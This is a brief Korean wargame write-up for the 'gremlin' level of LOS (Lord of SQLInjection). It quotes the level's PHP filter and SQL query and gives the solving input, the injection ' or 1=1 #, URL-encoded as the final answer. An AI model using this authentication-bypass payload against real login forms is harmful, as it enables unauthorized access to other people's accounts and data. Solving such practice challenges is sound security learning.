LOS - gremlin / level 1

 

풀이 과정

if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

 

$_GET['id']와 $_GET['[pw']를 받는 것을 확인

 

id = 'or 1=1 #을 넣으면 우회 가능

 

정답

id=%27%20or%201=1%20%23